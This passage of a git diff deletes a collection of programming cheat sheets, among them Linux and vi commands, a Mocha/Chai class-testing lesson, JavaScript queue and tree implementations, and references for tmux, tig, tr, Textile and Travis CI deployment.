-| ------------------------------------- | ----------------------------------------------------------------------------------------------- |
-| ls                                    | Lists all files and directories in the present working directory                                |
-| ls-R                                  | Lists files in sub-directories as well                                                          |
-| ls-a                                  | Lists hidden files as well                                                                      |
-| ls-al                                 | Lists files and directories with detailed information like permissions,size, owner, etc.        |
-| cd or cd \~                           | Navigate to HOME directory                                                                      |
-| cd ..                                 | Move one level up                                                                               |
-| cd                                    | To change to a particular directory                                                             |
-| cd /                                  | Move to the root directory                                                                      |
-| cat > filename                        | Creates a new file                                                                              |
-| cat filename                          | Displays the file content                                                                       |
-| cat file1 file2 > file3               | Joins two files (file1, file2) and stores the output in a new file (file3)                      |
-| mv file "new file path"               | Moves the files to the new location                                                             |
-| mv filename new_file_name             | Renames the file to a new filename                                                              |
-| sudo                                  | Allows regular users to run programs with the security privileges of the superuser or root      |
-| rm filename                           | Deletes a file                                                                                  |
-| man                                   | Gives help information on a command                                                             |
-| history                               | Gives a list of all past commands typed in the current terminal session                         |
-| clear                                 | Clears the terminal                                                                             |
-| mkdir directoryname                   | Creates a new directory in the present working directory or a at the specified path             |
-| rmdir                                 | Deletes a directory                                                                             |
-| mv                                    | Renames a directory                                                                             |
-| pr -x                                 | Divides the file into x columns                                                                 |
-| pr -h                                 | Assigns a header to the file                                                                    |
-| pr -n                                 | Denotes the file with Line Numbers                                                              |
-| lp -nc , lpr c                        | Prints "c" copies of the File                                                                   |
-| lp-d lp-P                             | Specifies name of the printer                                                                   |
-| apt-get                               | Command used to install and update packages                                                     |
-| mail -s 'subject'                     | Command to send email                                                                           |
-| -c 'cc-address'                       |                                                                                                 |
-| -b 'bcc-address'                      |                                                                                                 |
-| 'to-address'                          |                                                                                                 |
-| mail -s "Subject"                     | Command to send email with attachment                                                           |
-| to-address < Filename                 |                                                                                                 |
-|                                       |                                                                                                 |
-| Linux File Permissions                |                                                                                                 |
-| File Permission commands              |                                                                                                 |
-| Command                               | Description                                                                                     |
-| ls-l                                  | to show file type and access permission                                                         |
-| r                                     | read permission                                                                                 |
-| w                                     | write permission                                                                                |
-| x                                     | execute permission                                                                              |
-| -=                                    | no permission                                                                                   |
-| Chown user                            | For changing the ownership of a file/directory                                                  |
-| Chown user:group filename             | change the user as well as group for a file or directory                                        |
-| Environment Variables command         |                                                                                                 |
-| Command                               | Description                                                                                     |
-| echo $VARIABLE                        | To display value of a variable                                                                  |
-| env                                   | Displays all environment variables                                                              |
-| VARIABLE_NAME= variable_value         | Create a new variable                                                                           |
-| Unset                                 | Remove a variable                                                                               |
-| export Variable=value                 | To set value of an environment variable                                                         |
-| User management commands of linux     |                                                                                                 |
-| Command                               | Description                                                                                     |
-| sudo adduser username                 | To add a new user                                                                               |
-| sudo passwd -l 'username'             | To change the password of a user                                                                |
-| sudo userdel -r 'username'            | To remove a newly created user                                                                  |
-| sudo usermod -a -G GROUPNAME USERNAME | To add a user to a group                                                                        |
-| sudo deluser USER GROUPNAME           | To remove a user from a group                                                                   |
-| finger                                | Shows information of all the users logged in                                                    |
-| finger username                       | Gives information of a particular user                                                          |
-| Networking command                    |                                                                                                 |
-| Command                               | Description                                                                                     |
-| SSH username@ip-address or hostname   | login into a remote Linux machine using SSH                                                     |
-| Ping hostname="" or =""               | To ping and Analyzing network and host connections                                              |
-| dir                                   | Display files in the current directory of a remote computer                                     |
-| cd "dirname"                          | change directory to "dirname" on a remote computer                                              |
-| put file                              | upload ‘file' from local to remote computer                                                     |
-| get file                              | Download ‘file' from remote to local computer                                                   |
-| quit                                  | Logout                                                                                          |
-| Process command                       |                                                                                                 |
-| Command                               | Description                                                                                     |
-| bg                                    | To send a process to the background                                                             |
-| fg                                    | To run a stopped process in the foreground                                                      |
-| top                                   | Details on all Active Processes                                                                 |
-| ps                                    | Give the status of processes running for a user                                                 |
-| ps PID                                | Gives the status of a particular process                                                        |
-| pidof                                 | Gives the Process ID (PID) of a process                                                         |
-| kill PID                              | Kills a process                                                                                 |
-| nice                                  | Starts a process with a given priority                                                          |
-| renice                                | Changes priority of an already running process                                                  |
-| df                                    | Gives free hard disk space on your system                                                       |
-| free                                  | Gives free RAM on your system                                                                   |
-| VI Editing Commands                   |                                                                                                 |
-| Command                               | Description                                                                                     |
-| i                                     | Insert at cursor (goes into insert mode)                                                        |
-| a                                     | Write after cursor (goes into insert mode)                                                      |
-| A                                     | Write at the end of line (goes into insert mode)                                                |
-| ESC                                   | Terminate insert mode                                                                           |
-| u                                     | Undo last change                                                                                |
-| U                                     | Undo all changes to the entire line                                                             |
-| o                                     | Open a new line (goes into insert mode)                                                         |
-| dd                                    | Delete line                                                                                     |
-| 3dd                                   | Delete 3 lines                                                                                  |
-| D                                     | Delete contents of line after the cursor                                                        |
-| C                                     | Delete contents of a line after the cursor and insert new text. Press ESC key to end insertion. |
-| dw                                    | Delete word                                                                                     |
-| 4dw                                   | Delete 4 words                                                                                  |
-| cw                                    | Change word                                                                                     |
-| x                                     | Delete character at the cursor                                                                  |
-| r                                     | Replace character                                                                               |
-| R                                     | Overwrite characters from cursor onward                                                         |
-| s                                     | Substitute one character under cursor continue to insert                                        |
-| S                                     | Substitute entire line and begin to insert at the beginning of the line                         |
-| \~                                    | Change case of individual character                                                             |
diff --git a/docs/content/cheat-sheets/testing-classes-w-chai.md b/docs/content/cheat-sheets/testing-classes-w-chai.md
deleted file mode 100644
index ec9c84bf03..0000000000
--- a/docs/content/cheat-sheets/testing-classes-w-chai.md
+++ /dev/null
@@ -1,167 +0,0 @@
-# App Academy Open
-
-> Learn to code online with access to App Academy's entire full-stack course for free
-
--   ⏱ 10 minutes
-
--   Catalog
--   Js Py Sep 2020 Online
--   Week 6 Sep 2020 Online
--   Wt Part Three Testing Classes With Chai
-
-In this reading we'll be covering:
-
--   how to test classes using `Mocha` and `Chai`
-
-## Part Three: Testing classes using Mocha and Chai
-
-Let's expand our knowledge of testing syntax by testing some classes! In order to fully test a class, we'll be looking to test that class's instance and static methods. Create a new file in the `problems` folder - `dog.js`. We'll use the following code for the rest of our tests so make sure to copy it over:
-
-    // testing-demo/problems/dog.js
-
-    class Dog {
-      constructor(name) {
-        this.name = name;
-      }
-
-      bark() {
-        return `${this.name} is barking`;
-      }
-
-      chainChaseTail(num) {
-        if (typeof num !== "number") {
-          throw new TypeError("please only use numbers for this function");
-        }
-        for (let i = 0; i < num; i++) {
-          this.chaseTail();
-        }
-      }
-
-      chaseTail() {
-        console.log(`${this.name} is chasing their tail`);
-      }
-
-      static cleanDogs(dogs) {
-        let cleanDogs = [];
-        dogs.forEach(dog => {
-          let dogStr = `I cleaned ${dog.name}'s paws.`;
-          cleanDogs.push(dogStr);
-        });
-        return cleanDogs;
-      }
-    }
-
-    // ensure to export our class!
-    module.exports = Dog;
-
-To test this class we'll create a new file in our `test` directory - `dog-spec.js` so your file structure should now look like this:
-
-    testing-demo
-      └──
-      problems
-        └── reverse-string.js
-        └── dog.js
-      test
-        └── reverse-string-spec.js
-        └── dog-spec.js
-
-Let's now set up our `dog-spec.js` file. For this example we'll get experience using another assertion library named [`Chai`](https://www.chaijs.com/). As you'll soon see, the Chai library comes with a lot more built-in more functionality than Node's `Assert` module.
-
-Now since `Chai` is another external library we'll need to import it in order to use it. We need to run a few commands to first create a `package.json` and then we can import the `chai` library. Start off by running `npm init --y` in the top level directory (`testing-demo`) to create a `package.json` file. After that is finished you can import the `Chai` library by running `npm install chai`.
-
-Here is what that will look like in your terminal:
-
-    ~ testing-demo $ npm init --y
-    Wrote to /testing-demo/problems/package.json:
-
-    {
-      "name": "testing-demo",
-      "version": "1.0.0",
-      "description": "",
-      "main": "index.js",
-      "directories": {
-        "test": "test"
-      },
-      "scripts": {
-        "test": "echo \"Error: no test specified\" && exit 1"
-      },
-      "keywords": [],
-      "author": "",
-      "license": "ISC"
-    }
-
-    ~ testing-demo $ npm install chai
-
-Now that we've installed `Chai` we can set up our test file. Create a new file in the `test` folder named `dog-spec.js` We'll require the `expect` module from Chai for our assertions, import our `Dog` class, and set up our outer `describe` function for testing the `Dog` class:
-
-    // testing-demo/test/dog-spec.js
-
-    // set up chai
-    const chai = require("chai");
-    const expect = chai.expect;
-
-    // don't forget to import the class you are testing!
-    const Dog = require("../problems/dog.js");
-
-    // our outer describe for the whole Dog class
-    describe("Dog", function() {});
-
-So the first thing we'll generally want to test on classes is their `constructor` functions - we need to make sure new instances have the correct properties and that those properties are being set properly before we can test anything else. For the `Dog` class it looks like a name is accepted on instantiation, so let's test that!
-
-We'll start with a nested describe function within our outer `Dog` describe function:
-
-    describe("Dog", function() {
-      describe("Dog Constructor Function", function() {
-        it('should have a "name" property', function() {});
-      });
-    });
-
-Now we are using a different assertion library so we'll be working with some different syntax. Open up the [`Chai Expect`](https://www.chaijs.com/api/bdd/) documentation for reference, we won't be going into tons of detail into every function we use with Chai because Chai allows for a lot of smaller chainable functions and we know you have lives outide this reading.
-
-The nice thing about Chai is that the chainable functions available will often read like English. Check out the right column of this handy [Chai cheatsheet](https://devhints.io/chai) for a quick and easy reference on chainable functions.
-
-We'll start our first spec off by using the [`property`](https://www.chaijs.com/api/bdd/#method_property) matcher to ensure that a newly instantiated object has a specified property:
-
-    describe("Dog", function() {
-      describe("Dog Constructor Function", function() {
-        it('should have a "name" property', function() {
-          const layla = new Dog("Layla");
-          // all our of chai tests will begin with the expect function
-          // .to and .have are Chai chainable functions
-          // .property is the matcher we are using
-          expect(layla).to.have.property("name");
-        });
-      });
-    });
-
-Now to test our new spec we can run just the Dog class specs by running `mocha test/dog-spec.js` from our top level directory. Running that command we'll see:
-
-    Dog
-      Dog Constructor Function
-        ✓ should have a "name" property
-
-    1 passing (8ms)
-
-Nice! We tested that the name property exists on a new dog instance. Next, we can make sure our name is set properly with another test:
-
-    describe("Dog Constructor Function", function() {
-      it('should have a "name" property', function() {
-        const layla = new Dog("Layla");
-        expect(layla).to.have.property("name");
-      });
-
-      it('should set the "name" property when a new dog is created', function() {
-        const layla = new Dog("Layla");
-        // we are using the eql function to compare the value of layla.name
-        // with the provided string
-        expect(layla.name).to.eql("Layla");
-      });
-    });
-
-Running the above using `mocha` we'll see both of our specs passing! Now take extra note of the fact that we are defining the same variable twice using `const` within the above `it` callbacks. This is important to note because it underlines the fact that each of the unit tests you write will have their own scope - meaning that they are each independent of the specs that came before or after them.
-
-Head to the next reading to refactor some of the code we just wrote using `Mocha` hooks!
-
-Did you find this lesson helpful?
-
-[Source](https://open.appacademy.io/learn/js-py---sep-2020-online/week-6-sep-2020-online/wt-part-three--testing-classes-with-chai)
diff --git a/docs/content/cheat-sheets/textile.md b/docs/content/cheat-sheets/textile.md
deleted file mode 100644
index 44be300573..0000000000
--- a/docs/content/cheat-sheets/textile.md
+++ /dev/null
@@ -1,112 +0,0 @@
----
-title: Textile
-category: Markup
-
-weight: -1
----
-
-## Reference
-
-### Inlines
-
-| Code                      | Description |
-| ------------------------- | ----------- |
-| `_em_`                    |             |
-| `*strong*`                |             |
-| `__bold-italic__`         |             |
-| `@code@`                  |             |
-| `??citation??`            |             |
-| ---                       | ---         |
-| `-strikethrough-`         |             |
-| `+insertion+`             |             |
-| ---                       | ---         |
-| `%span%`                  | HTML tag    |
-| `%{color:red}formatting%` | CSS styles  |
-| ---                       | ---         |
-
-### Blocks
-
-```textile
-h1. Header 1
-```
-
-```textile
-h2. Header 2
-```
-
-```textile
-bq. Blockquote
-```
-
-```textile
-p(classname). Class.
-```
-
-```textile
-p(#id). ID.
-```
-
-### Lists
-
-```textile
-## ordered list
-```
-
-```textile
-* unordered list
-```
-
-### Links
-
-| Code                                            | Description        |
-| ----------------------------------------------- | ------------------ |
-| `"Hypertext":index.html`                        | Link               |
-| ---                                             | ---                |
-| `"Text link":link` <br> `[link]http://link.com` | Link via reference |
-
-### Images
-
-| Code                      | Description |
-| ------------------------- | ----------- |
-| `!image.jpg!`             | Image       |
-| `!image.jpg(title text)!` |             |
-| `!image.jpg!:link.html`   |             |
-| `!>right.jpg!`            |             |
-
-### Escaped HTML
-
-```html
-<pre>
-I am <b>very serious.</b> -- this
-will get escaped.
-</pre>
-```
-
-### Line breaks
-
-```textile
-Line breaks.
-Just break the lines.
-```
-
-### Entities
-
-```textile
-one(TM), two(R), three(C).
-```
-
-### Horizontal line
-
-```textile
---
-```
-
-### Footnotes
-
-```textile
-Footnotes[1].
-```
-
-```textile
-fn1. Something.
-```
diff --git a/docs/content/cheat-sheets/thank-you.md b/docs/content/cheat-sheets/thank-you.md
deleted file mode 100644
index 9cef728461..0000000000
--- a/docs/content/cheat-sheets/thank-you.md
+++ /dev/null
@@ -1,10 +0,0 @@
----
-title: Thank You!
-img_path: images/thank-you.jpg
-img_alt: Thank You Led Signage
-template: page
----
-
-Thank you for contacting me! I will get back in touch with you soon.
-
-**Have a great day!**
diff --git a/docs/content/cheat-sheets/the-queue-data-structure.md b/docs/content/cheat-sheets/the-queue-data-structure.md
deleted file mode 100644
index 63d759eea2..0000000000
--- a/docs/content/cheat-sheets/the-queue-data-structure.md
+++ /dev/null
@@ -1,70 +0,0 @@
-# The Queue data structure
-
-> The #data-structures series is a collection of posts about reimplemented data structures in JavaScript.
-
-## Get the code on Github
-
-Of course, all the code can also be found on Github in the repository [data-structures-in-javascript](https://github.com/benoitvallon/computer-science-in-javascript/tree/master/data-structures-in-javascript).
-
-## Definition
-
-> A Queue is a particular kind of abstract data type or collection in which the entities in the collection are kept in order and the principal operations are the addition of entities to the rear terminal position, known as enqueue, and removal of entities from the front terminal position, known as dequeue. This makes the Queue a First-In-First-Out (FIFO) data structure. In a FIFO data structure, the first element added to the Queue will be the first one to be removed. **From** [**Wikipedia**](<https://en.wikipedia.org/wiki/Queue_(abstract_data_type)>)
-
-As for the Stack data structure, a peek operation is often added to the Queue data structure. It returns the value of the front element without dequeuing it.
-
-## Complexity
-
-| Average |        |           |          |
-| ------- | ------ | --------- | -------- |
-| Access  | Search | Insertion | Deletion |
-| O(n)    | O(n)   | O(1)      | O(n)     |
-
-To get a full overview of the time and space complexity of the Queue data structure, have a look to this excellent [Big O cheat sheet](http://bigocheatsheet.com).
-
-## The code
-
-```
-function Queue() {
-  this.queue = [];
-}
-
-Queue.prototype.enqueue = function(value) {
-  this.queue.push(value);
-};
-Queue.prototype.dequeue = function() {
-  return this.queue.shift();
-};
-Queue.prototype.peek = function() {
-  return this.queue[0];
-};
-Queue.prototype.length = function() {
-  return this.queue.length;
-};
-Queue.prototype.print = function() {
-  console.log(this.queue.join(' '));
-};
-
-var queue = new Queue();
-queue.enqueue(1);
-queue.enqueue(2);
-queue.enqueue(3);
-queue.print(); // => 1 2 3
-console.log('length is 3:', queue.length()); // => 3
-console.log('peek is 1:', queue.peek()); // => 3
-console.log('dequeue is 1:', queue.dequeue()); // => 1
-queue.print(); // => 2 3
-console.log('dequeue is 2:', queue.dequeue());  // => 2
-console.log('length is 1:', queue.length()); // => 1
-console.log('dequeue is 3:', queue.dequeue()); // => 3
-queue.print(); // => ''
-console.log('peek is undefined:', queue.peek()); // => undefined
-console.log('dequeue is undefined:', queue.dequeue()); // => undefined
-```
-
----
-
----
-
----
-
-[Source](http://blog.benoitvallon.com/data-structures-in-javascript/the-queue-data-structure/)
diff --git a/docs/content/cheat-sheets/the-tree-data-structure.md b/docs/content/cheat-sheets/the-tree-data-structure.md
deleted file mode 100644
index 4de56df391..0000000000
--- a/docs/content/cheat-sheets/the-tree-data-structure.md
+++ /dev/null
@@ -1,190 +0,0 @@
-# The Tree data structure
-
-> The #data-structures series is a collection of posts about reimplemented data structures in JavaScript.
-
-## Get the code on Github
-
-Of course, all the code can also be found on Github in the repository [data-structures-in-javascript](https://github.com/benoitvallon/computer-science-in-javascript/tree/master/data-structures-in-javascript).
-
-## Definition
-
-> A Tree is a widely used data structure that simulates a hierarchical tree structure, with a root value and subtrees of children with a parent node. A tree data structure can be defined recursively as a collection of nodes (starting at a root node), where each node is a data structure consisting of a value, together with a list of references to nodes (the "children"), with the constraints that no reference is duplicated, and none points to the root node. **From** [**Wikipedia**](<https://en.wikipedia.org/wiki/Tree_(data_structure)>)
-
-## Complexity
-
-| Average |        |           |          |
-| ------- | ------ | --------- | -------- |
-| Access  | Search | Insertion | Deletion |
-| O(n)    | O(n)   | O(n)      | O(n)     |
-
-To get a full overview of the time and space complexity of the Tree data structure, have a look to this excellent [Big O cheat sheet](http://bigocheatsheet.com).
-
-## The code
-
-```
-function Node(data) {
-  this.data = data;
-  this.children = [];
-}
-
-function Tree() {
-  this.root = null;
-}
-
-Tree.prototype.add = function(data, toNodeData) {
-  var node = new Node(data);
-  var parent = toNodeData ? this.findBFS(toNodeData) : null;
-  if(parent) {
-    parent.children.push(node);
-  } else {
-    if(!this.root) {
-      this.root = node;
-    } else {
-      return 'Root node is already assigned';
-    }
-  }
-};
-Tree.prototype.remove = function(data) {
-  if(this.root.data === data) {
-    this.root = null;
-  }
-
-  var queue = [this.root];
-  while(queue.length) {
-    var node = queue.shift();
-    for(var i = 0; i < node.children.length; i++) {
-      if(node.children[i].data === data) {
-        node.children.splice(i, 1);
-      } else {
-        queue.push(node.children[i]);
-      }
-    }
-  }
-};
-Tree.prototype.contains = function(data) {
-  return this.findBFS(data) ? true : false;
-};
-Tree.prototype.findBFS = function(data) {
-  var queue = [this.root];
-  while(queue.length) {
-    var node = queue.shift();
-    if(node.data === data) {
-      return node;
-    }
-    for(var i = 0; i < node.children.length; i++) {
-      queue.push(node.children[i]);
-    }
-  }
-  return null;
-};
-Tree.prototype._preOrder = function(node, fn) {
-  if(node) {
-    if(fn) {
-      fn(node);
-    }
-    for(var i = 0; i < node.children.length; i++) {
-      this._preOrder(node.children[i], fn);
-    }
-  }
-};
-Tree.prototype._postOrder = function(node, fn) {
-  if(node) {
-    for(var i = 0; i < node.children.length; i++) {
-      this._postOrder(node.children[i], fn);
-    }
-    if(fn) {
-      fn(node);
-    }
-  }
-};
-Tree.prototype.traverseDFS = function(fn, method) {
-  var current = this.root;
-  if(method) {
-    this['_' + method](current, fn);
-  } else {
-    this._preOrder(current, fn);
-  }
-};
-Tree.prototype.traverseBFS = function(fn) {
-  var queue = [this.root];
-  while(queue.length) {
-    var node = queue.shift();
-    if(fn) {
-      fn(node);
-    }
-    for(var i = 0; i < node.children.length; i++) {
-      queue.push(node.children[i]);
-    }
-  }
-};
-Tree.prototype.print = function() {
-  if(!this.root) {
-    return console.log('No root node found');
-  }
-  var newline = new Node('|');
-  var queue = [this.root, newline];
-  var string = '';
-  while(queue.length) {
-    var node = queue.shift();
-    string += node.data.toString() + ' ';
-    if(node === newline && queue.length) {
-      queue.push(newline);
-    }
-    for(var i = 0; i < node.children.length; i++) {
-      queue.push(node.children[i]);
-    }
-  }
-  console.log(string.slice(0, -2).trim());
-};
-Tree.prototype.printByLevel = function() {
-  if(!this.root) {
-    return console.log('No root node found');
-  }
-  var newline = new Node('\n');
-  var queue = [this.root, newline];
-  var string = '';
-  while(queue.length) {
-    var node = queue.shift();
-    string += node.data.toString() + (node.data !== '\n' ? ' ' : '');
-    if(node === newline && queue.length) {
-      queue.push(newline);
-    }
-    for(var i = 0; i < node.children.length; i++) {
-      queue.push(node.children[i]);
-    }
-  }
-  console.log(string.trim());
-};
-
-var tree = new Tree();
-tree.add('ceo');
-tree.add('cto', 'ceo');
-tree.add('dev1', 'cto');
-tree.add('dev2', 'cto');
-tree.add('dev3', 'cto');
-tree.add('cfo', 'ceo');
-tree.add('accountant', 'cfo');
-tree.add('cmo', 'ceo');
-tree.print(); // => ceo | cto cfo cmo | dev1 dev2 dev3 accountant
-tree.printByLevel();  // => ceo \n cto cfo cmo \n dev1 dev2 dev3 accountant
-console.log('tree contains dev1 is true:', tree.contains('dev1')); // => true
-console.log('tree contains dev4 is false:', tree.contains('dev4')); // => false
-console.log('--- BFS');
-tree.traverseBFS(function(node) { console.log(node.data); }); // => ceo cto cfo cmo dev1 dev2 dev3 accountant
-console.log('--- DFS preOrder');
-tree.traverseDFS(function(node) { console.log(node.data); }, 'preOrder'); // => ceo cto dev1 dev2 dev3 cfo accountant cmo
-console.log('--- DFS postOrder');
-tree.traverseDFS(function(node) { console.log(node.data); }, 'postOrder'); // => dev1 dev2 dev3 cto accountant cfo cmo ceo
-tree.remove('cmo');
-tree.print(); // => ceo | cto cfo | dev1 dev2 dev3 accountant
-tree.remove('cfo');
-tree.print(); // => ceo | cto | dev1 dev2 dev3
-```
-
----
-
----
-
----
-
-[Source](http://blog.benoitvallon.com/data-structures-in-javascript/the-tree-data-structure/)
diff --git a/docs/content/cheat-sheets/tidy.md b/docs/content/cheat-sheets/tidy.md
deleted file mode 100644
index c3a3b35d68..0000000000
--- a/docs/content/cheat-sheets/tidy.md
+++ /dev/null
@@ -1,3 +0,0 @@
-# Enable indentation, wrap lines at column 160, messages to stdout:
-
-tidy -i -wrap 160 -o output.html input.html
diff --git a/docs/content/cheat-sheets/tig.md b/docs/content/cheat-sheets/tig.md
deleted file mode 100644
index 8243826b26..0000000000
--- a/docs/content/cheat-sheets/tig.md
+++ /dev/null
@@ -1,92 +0,0 @@
----
-title: Tig
-category: Git
-
-weight: -3
----
-
-### Installing
-
-```bash
-# MacOS + Homebrew
-$ brew install tig --HEAD
-```
-
-```bash
-# Ubuntu
-$ sudo apt install tig
-```
-
-### Invocation
-
-| Command             | Description                                  |
-| ------------------- | -------------------------------------------- |
-| `tig`               |                                              |
-| ---                 | ---                                          |
-| `tig status`        | Status                                       |
-| `tig blame FILE`    | Blame                                        |
-| ---                 | ---                                          |
-| `tig master`        | Show a branch                                |
-| `tig test..master`  | Show difference between two branches         |
-| `tig FILE`          | Show history of file                         |
-| `tig v0.0.3:README` | Show contents of file in a specific revision |
-| `tig -C /repo/path` | Run in dir `/repo/path` (like `git -C`)      |
-
-You can substitute `git log` → `tig`.
-
-## Shortcut keys
-
-### Switching views
-
-| `m` | Main view |
-| `s` | Status |
-| `t` | Tree (files) |
-| `y` | Stash view |
-| `g` | Grep |
-| `h` | Help |
-{: .-shortcuts}
-
-### All views
-
-| Shortcut | Description             |
-| -------- | ----------------------- |
-| `j` `k`  | Up/down                 |
-| `J` `K`  | Next/previous           |
-| ---      | ---                     |
-| `<`      | Back                    |
-| `R`      | Refresh                 |
-| `q`      | Close                   |
-| `Q`      | Close all               |
-| ---      | ---                     |
-| `^N`     | Next on parent view     |
-| `^P`     | Previous on parent view |
-
-{: .-shortcuts}
-
-### `m` - Main view
-
-| `D` | Toggle date display modes |
-| `A` | Toggle author display modes |
-| `X` | Toggle commit sha |
-| `C` | Cherry pick a commit |
-{: .-shortcuts}
-
-### `s` - Status view
-
-| `u` | Stage/unstage file or chunk |
-| `!` | Revert file or chunk |
-| `C` | Commit |
-| `M` | Merge |
-| `1` | Stage line |
-| `[` `]` | Increase/decrease the diff context |
-{: .-shortcuts}
-
-### `h` - Branch view
-
-| `i` | Change sort header |
-{: .-shortcuts}
-
-### `h` - Blame view
-
-| `,` | Parent commit |
-{: .-shortcuts}
diff --git a/docs/content/cheat-sheets/tmux.md b/docs/content/cheat-sheets/tmux.md
deleted file mode 100644
index 6f8a691d32..0000000000
--- a/docs/content/cheat-sheets/tmux.md
+++ /dev/null
@@ -1,73 +0,0 @@
-# To start tmux:
-
-tmux
-
-# To detach from tmux:
-
-Ctrl-b d
-
-# To restore tmux session:
-
-tmux attach
-
-# To detach an already attached session (great if you are moving devices with different screen resolutions):
-
-tmux attach -d
-
-# To display session:
-
-tmux ls
-
-# To rename session:
-
-Ctrl-b $
-
-# To switch session:
-
-Ctrl-b s
-
-# To start a shared session:
-
-tmux -S /tmp/your_shared_session
-chmod 777 /tmp/your_shared_session
-
-# To help screen (Q to quit):
-
-Ctrl-b ?
-
-# To scroll in window:
-
-Ctrl-b PageUp/PageDown
-
-# To reload configuration file
-
-Ctrl-b : source-file /path/to/file
-
-# To create a window:
-
-Ctrl-b c
-
-# To go next window:
-
-Ctrl-b n
-
-# To destroy a window:
-
-Ctrl-b x
-
-# To switch between windows:
-
-Ctrl-b [0-9]
-Ctrl-b Arrows
-
-# To split windows horizontally:
-
-Ctrl-b %
-
-# To split windows vertically:
-
-Ctrl-b "
-
-# To swap windows:
-
-Ctrl-b :swap-window -s [0-9] -t [0-9]
diff --git a/docs/content/cheat-sheets/tomdoc.md b/docs/content/cheat-sheets/tomdoc.md
deleted file mode 100644
index dbaf21eaa6..0000000000
--- a/docs/content/cheat-sheets/tomdoc.md
+++ /dev/null
@@ -1,72 +0,0 @@
----
-title: Tomdoc
-category: Markup
----
-
-### Tomdoc
-
-```ruby
-# Public: Duplicate some text an arbitrary number of times.
-#
-# text  - The String to be duplicated.
-# count - The Integer number of times to duplicate the text.
-#
-# Examples
-#
-#   multiplex('Tom', 4)
-#   # => 'TomTomTomTom'
-#
-# Returns the duplicated String.
-def multiplex(text, count)
-  text * count
-end
-```
-
-See [tomdoc.org](http://tomdoc.org/).
-
-### Tags
-
--   `Deprecated`
--   `Internal`
--   `Public`
-
-### Options
-
-```ruby
-# options - The Hash options used to refine the selection (default: {}):
-#           :color  - The String color to restrict by (optional).
-#           :weight - The Float weight to restrict by. The weight should
-#                     be specified in grams (optional).
-```
-
-### Yields
-
-```ruby
-# Yields the Integer index of the iteration.
-```
-
-```ruby
-# Returns the duplicated String.
-```
-
-```ruby
-# Returns nothing.
-```
-
-```ruby
-# Raises Errno::ENOENT if the file can't be found.
-```
-
-```ruby
-# Returns something else and this is a wrapped
-#   multi-line comment.
-```
-
-### Signatures
-
-```ruby
-# Signature
-#
-#   find_by_<field>[_and_<field>...](args)
-#
-```
diff --git a/docs/content/cheat-sheets/tr.md b/docs/content/cheat-sheets/tr.md
deleted file mode 100644
index cb4614a641..0000000000
--- a/docs/content/cheat-sheets/tr.md
+++ /dev/null
@@ -1,26 +0,0 @@
-# To replace : with a new line:
-
-echo $PATH | tr ":" "\n"
-echo $PATH | tr -t ":" \n
-
-# To remove all occurance of "ab":
-
-echo aabbcc | tr -d "ab" # ouput: cc
-
-# To complement "aa":
-
-# ("Complement" means to keep "aa", and replace all others with "x")
-
-echo aabbccd | tr -c "aa" x # output: aaxxxxx (no newline)
-
-# To complement "ab\n":
-
-echo aabbccd | tr -c "ab\n" x #output: aabbxxx (with newline)
-
-# To preserve all alpha(-c). ":-[:digit:] etc" will be translated to "\n". sequeeze mode:
-
-echo $PATH | tr -cs "[:alpha:]" "\n"
-
-# To convert an ordered list to an unordered list:
-
-echo "1. /usr/bin\n2. /bin" | tr -cs " /[:alpha:]\n" "+"
diff --git a/docs/content/cheat-sheets/trashy.md b/docs/content/cheat-sheets/trashy.md
deleted file mode 100644
index f17de2bb9f..0000000000
--- a/docs/content/cheat-sheets/trashy.md
+++ /dev/null
@@ -1,19 +0,0 @@
-# To trash foo and bar:
-
-trash foo bar
-
-# To trash "foo bar":
-
-trash foo\ bar
-
-# To list files in trash:
-
-trash -v --list
-
-# To restore foo from trash:
-
-trash --restore foo
-
-# To empty trash:
-
-trash --empty
diff --git a/docs/content/cheat-sheets/travis-gh-pages.md b/docs/content/cheat-sheets/travis-gh-pages.md
deleted file mode 100644
index 2c51012476..0000000000
--- a/docs/content/cheat-sheets/travis-gh-pages.md
+++ /dev/null
@@ -1,61 +0,0 @@
----
-title: Deploy gh-pages via Travis
-category: Git
----
-
-Taken from https://medium.com/@nthgergo/publishing-gh-pages-with-travis-ci-53a8270e87db
-
-### Create an OAuth token and encrypt it
-
-Use https://github.com/settings/tokens/new
-
-```sh
-# via ruby
-gem install travis
-travis encrypt -r user/repo GITHUB_TOKEN=[the token here]
-```
-
-### Make it run the deploy script on deploy
-
-```yaml
-# .travis.yml
-script:
-    - bash ./scripts/deploy-to-gh-pages.sh
-env:
-    global:
-        - GITHUB_REPO: 'user/repo'
-        - secure: 'nlnXJW/imf/w...' # <-- from travis-encrypt
-```
-
-### Write deployer
-
-Create the file `scripts/deploy-to-gh-pages.sh`
-
-```sh
-#!/bin/bash
-# See https://medium.com/@nthgergo/publishing-gh-pages-with-travis-ci-53a8270e87db
-set -o errexit
-
-rm -rf public
-mkdir public
-
-# config
-git config --global user.email "nobody@nobody.org"
-git config --global user.name "Travis CI"
-
-# build (CHANGE THIS)
-make
-
-# deploy
-cd public
-git init
-git add .
-git commit -m "Deploy to Github Pages"
-git push --force --quiet "https://${GITHUB_TOKEN}@$github.com/${GITHUB_REPO}.git" master:gh-pages > /dev/null 2>&1
-```
-
-From Ractive, this might be useful in certain cases:
-
-```
-if [ "$TRAVIS_PULL_REQUEST" != "false" -o "$TRAVIS_BRANCH" != "master" ]; then exit 0; fi
-```
diff --git a/docs/content/cheat-sheets/travis.md b/docs/content/cheat-sheets/travis.md
deleted file mode 100644
index c819fc9acc..0000000000
--- a/docs/content/cheat-sheets/travis.md
+++ /dev/null
@@ -1,115 +0,0 @@
----
-title: Travis.yml
-category: Devops
-
-prism_languages: [yaml]
-intro: |
-    Quick reference for [Travis CI](https://travis-ci.org) yaml configuration. See [official documentation](https://docs.travis-ci.com/user/customizing-the-build/).
----
-
-## Reference
-
-{:.-three-column}
-
-### Node.js
-
-```yaml
-language: node_js
-node_js:
-    - '4'
-```
-
-Defaults install to `npm install`, and defaults test to `npm test`.
-
-### Ruby
-
-```yaml
-language: ruby
-rvm:
-    - 2.0.0
-    - 1.9.3
-    - 1.8.7
-```
-
-Defaults install to `bundle install`, defaults test to `rake`.
-
-### Build lifecycle
-
-| Lifecycle                          |
-| ---------------------------------- |
-| `before_install`                   |
-| `install`                          |
-| ---                                |
-| `before_script`                    |
-| `script`                           |
-| ---                                |
-| `after_success` or `after_failure` |
-| `after_script`                     |
-| ---                                |
-| `before_deploy` (optional)         |
-| `deploy` (optional)                |
-| `after_deploy` (optional)          |
-
-### Branches
-
-```yaml
-branches:
-    except: ['..']
